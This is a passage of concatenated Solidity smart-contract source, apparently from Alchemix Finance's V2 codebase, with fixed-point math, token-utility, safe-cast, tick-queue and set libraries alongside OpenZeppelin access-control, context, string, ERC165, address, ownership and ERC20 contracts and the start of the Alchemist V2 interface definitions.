function max() internal pure returns (Number memory) {
return Number(type(uint256).max);
}
/**
* @notice Creates a rational fraction as a Number from 2 uint256 values
*
* @param n The numerator.
* @param d The denominator.
* @return The fixed point decimal representation.
*/
function rational(uint256 n, uint256 d) internal pure returns (Number memory) {
Number memory numerator = encode(n);
return FixedPointMath.div(numerator, d);
}
/**
* @notice Adds two fixed point decimal numbers together.
*
* @param self The left hand operand.
* @param value The right hand operand.
* @return The result.
*/
function add(Number memory self, Number memory value) internal pure returns (Number memory) {
return Number(self.n + value.n);
}
/**
* @notice Adds a fixed point number to a unsigned 256-bit integer.
*
* @param self The left hand operand.
* @param value The right hand operand. This will be converted to a fixed point decimal.
* @return The result.
*/
function add(Number memory self, uint256 value) internal pure returns (Number memory) {
return add(self, FixedPointMath.encode(value));
}
/**
* @notice Subtract a fixed point decimal from another.
*
* @param self The left hand operand.
* @param value The right hand operand.
* @return The result.
*/
function sub(Number memory self, Number memory value) internal pure returns (Number memory) {
return Number(self.n - value.n);
}
/**
* @notice Subtract a unsigned 256-bit integer from a fixed point decimal.
*
* @param self The left hand operand.
* @param value The right hand operand. This will be converted to a fixed point decimal.
* @return The result.
*/
function sub(Number memory self, uint256 value) internal pure returns (Number memory) {
return sub(self, FixedPointMath.encode(value));
}
/**
* @notice Multiplies a fixed point decimal by another fixed point decimal.
*
* @param self The fixed point decimal to multiply.
* @param number The fixed point decimal to multiply by.
* @return The result.
*/
function mul(Number memory self, Number memory number) internal pure returns (Number memory) {
return Number((self.n * number.n) / ONE);
}
/**
* @notice Multiplies a fixed point decimal by an unsigned 256-bit integer.
*
* @param self The fixed point decimal to multiply.
* @param value The unsigned 256-bit integer to multiply by.
* @return The result.
*/
function mul(Number memory self, uint256 value) internal pure returns (Number memory) {
return Number(self.n * value);
}
/**
* @notice Divides a fixed point decimal by an unsigned 256-bit integer.
*
* @param self The fixed point decimal to multiply by.
* @param value The unsigned 256-bit integer to divide by.
* @return The result.
*/
function div(Number memory self, uint256 value) internal pure returns (Number memory) {
return Number(self.n / value);
}
/**
* @notice Compares two fixed point decimals.
*
* @param self The left hand number to compare.
* @param value The right hand number to compare.
* @return When the left hand number is less than the right hand number this returns -1,
* when the left hand number is greater than the right hand number this returns 1,
* when they are equal this returns 0.
*/
function cmp(Number memory self, Number memory value) internal pure returns (int256) {
if (self.n < value.n) {
return -1;
}
if (self.n > value.n) {
return 1;
}
return 0;
}
/**
* @notice Gets if two fixed point numbers are equal.
*
* @param self the first fixed point number.
* @param value the second fixed point number.
*
* @return if they are equal.
*/
function equals(Number memory self, Number memory value) internal pure returns (bool) {
return self.n == value.n;
}
/**
* @notice Truncates a fixed point decimal into an unsigned 256-bit integer.
*
* @return The integer portion of the fixed point decimal.
*/
function truncate(Number memory self) internal pure returns (uint256) {
return self.n / ONE;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.5.0;
import { IllegalArgument } from "../base/Errors.sol";
import { FixedPointMath } from "./FixedPointMath.sol";
/// @title LiquidityMath
/// @author Alchemix Finance
library LiquidityMath {
using FixedPointMath for FixedPointMath.Number;
/// @dev Adds a signed delta to an unsigned integer.
///
/// @param x The unsigned value to add the delta to.
/// @param y The signed delta value to add.
/// @return z The result.
function addDelta(uint256 x, int256 y) internal pure returns (uint256 z) {
if (y < 0) {
if ((z = x - uint256(-y)) >= x) {
revert IllegalArgument();
}
} else {
if ((z = x + uint256(y)) < x) {
revert IllegalArgument();
}
}
}
/// @dev Calculate a uint256 representation of x * y using FixedPointMath
///
/// @param x The first factor
/// @param y The second factor (fixed point)
/// @return z The resulting product, after truncation
function calculateProduct(uint256 x, FixedPointMath.Number memory y) internal pure returns (uint256 z) {
z = y.mul(x).truncate();
}
/// @notice normalises non 18 digit token values to 18 digits.
function normalizeValue(uint256 input, uint256 decimals) internal pure returns (uint256) {
return (input * (10**18)) / (10**decimals);
}
/// @notice denormalizes 18 digits back to a token's digits
function deNormalizeValue(uint256 input, uint256 decimals) internal pure returns (uint256) {
return (input * (10**decimals)) / (10**18);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import {IllegalArgument} from "../base/Errors.sol";
/// @title Safe casting methods
/// @notice Contains methods for safely casting between types
library SafeCast {
/// @notice Cast a uint256 to a int256, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt256(uint256 y) internal pure returns (int256 z) {
if (y >= 2**255) {
revert IllegalArgument();
}
z = int256(y);
}
/// @notice Cast a int256 to a uint256, revert on underflow
/// @param y The int256 to be casted
/// @return z The casted integer, now type uint256
function toUint256(int256 y) internal pure returns (uint256 z) {
if (y < 0) {
revert IllegalArgument();
}
z = uint256(y);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.5.0;
import {FixedPointMath} from "./FixedPointMath.sol";
library Tick {
using FixedPointMath for FixedPointMath.Number;
struct Info {
// The total number of unexchanged tokens that have been associated with this tick
uint256 totalBalance;
// The accumulated weight of the tick which is the sum of the previous ticks accumulated weight plus the weight
// that added at the time that this tick was created
FixedPointMath.Number accumulatedWeight;
// The previous active node. When this value is zero then there is no predecessor
uint256 prev;
// The next active node. When this value is zero then there is no successor
uint256 next;
}
struct Cache {
// The mapping which specifies the ticks in the buffer
mapping(uint256 => Info) values;
// The current tick which is being written to
uint256 position;
// The first tick which will be examined when iterating through the queue
uint256 head;
// The last tick which new nodes will be appended after
uint256 tail;
}
/// @dev Gets the next tick in the buffer.
///
/// This increments the position in the buffer.
///
/// @return The next tick.
function next(Tick.Cache storage self) internal returns (Tick.Info storage) {
self.position++;
return self.values[self.position];
}
/// @dev Gets the current tick being written to.
///
/// @return The current tick.
function current(Tick.Cache storage self) internal view returns (Tick.Info storage) {
return self.values[self.position];
}
/// @dev Gets the nth tick in the buffer.
///
/// @param self The reference to the buffer.
/// @param n The nth tick to get.
function get(Tick.Cache storage self, uint256 n) internal view returns (Tick.Info storage) {
return self.values[n];
}
function getWeight(
Tick.Cache storage self,
uint256 from,
uint256 to
) internal view returns (FixedPointMath.Number memory) {
Tick.Info storage startingTick = self.values[from];
Tick.Info storage endingTick = self.values[to];
FixedPointMath.Number memory startingAccumulatedWeight = startingTick.accumulatedWeight;
FixedPointMath.Number memory endingAccumulatedWeight = endingTick.accumulatedWeight;
return endingAccumulatedWeight.sub(startingAccumulatedWeight);
}
function addLast(Tick.Cache storage self, uint256 id) internal {
if (self.head == 0) {
self.head = self.tail = id;
return;
}
// Don't add the tick if it is already the tail. This has to occur after the check if the head
// is null since the tail may not be updated once the queue is made empty.
if (self.tail == id) {
return;
}
Tick.Info storage tick = self.values[id];
Tick.Info storage tail = self.values[self.tail];
tick.prev = self.tail;
tail.next = id;
self.tail = id;
}
function remove(Tick.Cache storage self, uint256 id) internal {
Tick.Info storage tick = self.values[id];
// Update the head if it is the tick we are removing.
if (self.head == id) {
self.head = tick.next;
}
// Update the tail if it is the tick we are removing.
if (self.tail == id) {
self.tail = tick.prev;
}
// Unlink the previously occupied tick from the next tick in the list.
if (tick.prev != 0) {
self.values[tick.prev].next = tick.next;
}
// Unlink the previously occupied tick from the next tick in the list.
if (tick.next != 0) {
self.values[tick.next].prev = tick.prev;
}
// Zero out the pointers.
// NOTE(nomad): This fixes the bug where the current accrued weight would get erased.
self.values[id].next = 0;
self.values[id].prev = 0;
}
}
pragma solidity ^0.8.11;
import "../interfaces/IERC20Burnable.sol";
import "../interfaces/IERC20Metadata.sol";
import "../interfaces/IERC20Minimal.sol";
import "../interfaces/IERC20Mintable.sol";
/// @title TokenUtils
/// @author Alchemix Finance
library TokenUtils {
/// @notice An error used to indicate that a call to an ERC20 contract failed.
///
/// @param target The target address.
/// @param success If the call to the token was a success.
/// @param data The resulting data from the call. This is error data when the call was not a success. Otherwise,
/// this is malformed data when the call was a success.
error ERC20CallFailed(address target, bool success, bytes data);
/// @dev A safe function to get the decimals of an ERC20 token.
///
/// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an unexpected value.
///
/// @param token The target token.
///
/// @return The amount of decimals of the token.
function expectDecimals(address token) internal view returns (uint8) {
(bool success, bytes memory data) = token.staticcall(
abi.encodeWithSelector(IERC20Metadata.decimals.selector)
);
if (!success || data.length < 32) {
revert ERC20CallFailed(token, success, data);
}
return abi.decode(data, (uint8));
}
/// @dev Gets the balance of tokens held by an account.
///
/// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an unexpected value.
///
/// @param token The token to check the balance of.
/// @param account The address of the token holder.
///
/// @return The balance of the tokens held by an account.
function safeBalanceOf(address token, address account) internal view returns (uint256) {
(bool success, bytes memory data) = token.staticcall(
abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, account)
);
if (!success || data.length < 32) {
revert ERC20CallFailed(token, success, data);
}
return abi.decode(data, (uint256));
}
/// @dev Transfers tokens to another address.
///
/// @dev Reverts with a {CallFailed} error if execution of the transfer failed or returns an unexpected value.
///
/// @param token The token to transfer.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to transfer.
function safeTransfer(address token, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Minimal.transfer.selector, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Approves tokens for the smart contract.
///
/// @dev Reverts with a {CallFailed} error if execution of the approval fails or returns an unexpected value.
///
/// @param token The token to approve.
/// @param spender The contract to spend the tokens.
/// @param value The amount of tokens to approve.
function safeApprove(address token, address spender, uint256 value) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Minimal.approve.selector, spender, value)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Transfer tokens from one address to another address.
///
/// @dev Reverts with a {CallFailed} error if execution of the transfer fails or returns an unexpected value.
///
/// @param token The token to transfer.
/// @param owner The address of the owner.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to transfer.
function safeTransferFrom(address token, address owner, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Minimal.transferFrom.selector, owner, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Mints tokens to an address.
///
/// @dev Reverts with a {CallFailed} error if execution of the mint fails or returns an unexpected value.
///
/// @param token The token to mint.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to mint.
function safeMint(address token, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Mintable.mint.selector, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Burns tokens.
///
/// Reverts with a `CallFailed` error if execution of the burn fails or returns an unexpected value.
///
/// @param token The token to burn.
/// @param amount The amount of tokens to burn.
function safeBurn(address token, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Burnable.burn.selector, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Burns tokens from its total supply.
///
/// @dev Reverts with a {CallFailed} error if execution of the burn fails or returns an unexpected value.
///
/// @param token The token to burn.
/// @param owner The owner of the tokens.
/// @param amount The amount of tokens to burn.
function safeBurnFrom(address token, address owner, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Burnable.burnFrom.selector, owner, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.11;
/// @title Sets
/// @author Alchemix Finance
library Sets {
using Sets for AddressSet;
/// @notice A data structure holding an array of values with an index mapping for O(1) lookup.
struct AddressSet {
address[] values;
mapping(address => uint256) indexes;
}
/// @dev Add a value to a Set
///
/// @param self The Set.
/// @param value The value to add.
///
/// @return Whether the operation was successful (unsuccessful if the value is already contained in the Set)
function add(AddressSet storage self, address value) internal returns (bool) {
if (self.contains(value)) {
return false;
}
self.values.push(value);
self.indexes[value] = self.values.length;
return true;
}
/// @dev Remove a value from a Set
///
/// @param self The Set.
/// @param value The value to remove.
///
/// @return Whether the operation was successful (unsuccessful if the value was not contained in the Set)
function remove(AddressSet storage self, address value) internal returns (bool) {
uint256 index = self.indexes[value];
if (index == 0) {
return false;
}
// Normalize the index since we know that the element is in the set.
index--;
uint256 lastIndex = self.values.length - 1;
if (index != lastIndex) {
address lastValue = self.values[lastIndex];
self.values[index] = lastValue;
self.indexes[lastValue] = index + 1;
}
self.values.pop();
delete self.indexes[value];
return true;
}
/// @dev Returns true if the value exists in the Set
///
/// @param self The Set.
/// @param value The value to check.
///
/// @return True if the value is contained in the Set, False if it is not.
function contains(AddressSet storage self, address value) internal view returns (bool) {
return self.indexes[value] != 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.5.0;
import "./alchemist/IAlchemistV2Actions.sol";
import "./alchemist/IAlchemistV2AdminActions.sol";
import "./alchemist/IAlchemistV2Errors.sol";
import "./alchemist/IAlchemistV2Immutables.sol";
import "./alchemist/IAlchemistV2Events.sol";
import "./alchemist/IAlchemistV2State.sol";
/// @title IAlchemistV2
/// @author Alchemix Finance
interface IAlchemistV2 is
IAlchemistV2Actions,
IAlchemistV2AdminActions,
IAlchemistV2Errors,
IAlchemistV2Immutables,
IAlchemistV2Events,
IAlchemistV2State
{ }
pragma solidity >=0.5.0;
/// @title IERC20TokenReceiver
/// @author Alchemix Finance
interface IERC20TokenReceiver {
/// @notice Informs implementors of this interface that an ERC20 token has been transferred.
///
/// @param token The token that was transferred.
/// @param value The amount of the token that was transferred.
function onERC20Received(address token, uint256 value) external;
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Actions
/// @author Alchemix Finance
///
/// @notice Specifies user actions.
interface IAlchemistV2Actions {
/// @notice Approve `spender` to mint `amount` debt tokens.
///
/// **_NOTE:_** This function is WHITELISTED.
///
/// @param spender The address that will be approved to mint.
/// @param amount The amount of tokens that `spender` will be allowed to mint.
function approveMint(address spender, uint256 amount) external;
/// @notice Approve `spender` to withdraw `amount` shares of `yieldToken`.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @param spender The address that will be approved to withdraw.
/// @param yieldToken The address of the yield token that `spender` will be allowed to withdraw.
/// @param shares The amount of shares that `spender` will be allowed to withdraw.
function approveWithdraw(
address spender,
address yieldToken,
uint256 shares
) external;
/// @notice Synchronizes the state of the account owned by `owner`.
///
/// @param owner The owner of the account to synchronize.
function poke(address owner) external;
/// @notice Deposit a yield token into a user's account.
///
/// @notice An approval must be set for `yieldToken` which is greater than `amount`.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `yieldToken` must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `yieldToken` underlying token must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
